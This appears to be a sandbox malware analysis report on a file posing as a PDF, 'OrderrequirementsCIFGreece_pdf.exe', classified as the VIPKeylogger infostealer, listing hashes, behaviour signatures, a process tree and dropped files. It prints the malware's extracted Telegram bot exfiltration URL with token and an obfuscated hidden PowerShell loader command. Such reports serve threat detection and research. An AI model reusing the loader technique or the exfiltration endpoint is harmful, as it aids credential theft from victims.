Analysis
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max time kernel
140s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
21-11-2024 09:57
General
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Target
OrderrequirementsCIFGreece_pdf.exe
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Size
813KB
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MD5
998e394361bd54c58a1ad2092fca8b6c
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SHA1
c68e7856324a50c04ee5e1de46952ecaed47eff7
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SHA256
87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec
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SHA512
bb7af9d97e4fed96e000048828826f715fa3f229058326da25cf535629e567389b6129e72b6ef214937f0429d74d35598a7f440af6221ecc56ddeea86f9733b1
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SSDEEP
12288:a7CBVenOxJUbx7lU0hbB6y3bn6vlP9Ia8GIbPYkAdwvLRPC6Oe73MFce:6G+OxmF7mSB6yrnMIacPYkAevLRPJyF
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot8065526741:AAEj68BwW3BsUStAxrPkDSB2kLxwQ3yik84/sendMessage?chat_id=6897585916
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Drops file in System32 directory 1 IoCs
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Windows directory 2 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\OrderrequirementsCIFGreece_pdf.exe"C:\Users\Admin\AppData\Local\Temp\OrderrequirementsCIFGreece_pdf.exe"1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Barthianismens=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\skittaget\lektier\Familieskabet.Sch';$Architectures=$Barthianismens.SubString(9447,3);.$Architectures($Barthianismens) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
71KB
MD58149653bd363ed6762847796373192c1
SHA1df385979c55013616b642bec5415ee1b89929319
SHA2569296b59074488ea1a87189a1412aa652d7966a44ce2f9a297109227a953efd24
SHA512a7f7937acea516c9420b3ef4c448fcec2c52956bb2b1705da0221e32df5eb59016784018bf23e6382491f63ccff23aae28ce8f84003bc4813bc7812dfd3df814
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Filesize
326KB
MD5bf36880f0e8cff63a4a0a6d2e2af1107
SHA1fcf08c335ed6bb98280cc47cbc4d6ae6bb0ffa32
SHA256bfce8c5feaab8ce81970225d42bd77b3f919fa422ec4f7d66be0f7ff8cf29b08
SHA51217aab56822fd6895209d4b474d34a78bf18faa8642d7c012e12f9f87e23d520495b5349605dedcce9092a368739b51195813bd652ec56a66a894734f57464479
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Filesize
4KB
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Filesize
216KB
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Filesize
6.2MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
136KB
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Filesize
408KB
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Filesize
408KB
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Filesize
3.3MB
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Filesize
120KB
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Filesize
304KB
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Filesize
600KB
-
Filesize
104KB
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Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
7.7MB
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Filesize
304KB
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Filesize
120KB
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Filesize
3.3MB
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Filesize
200KB
-
Filesize
652KB
-
Filesize
40KB
-
Filesize
168KB
-
Filesize
7.7MB
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Filesize
144KB
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Filesize
7.7MB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
23.4MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
18.3MB
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Filesize
296KB
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Filesize
624KB
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Filesize
584KB
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Filesize
1.8MB
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Filesize
320KB
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Filesize
5.2MB
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Filesize
40KB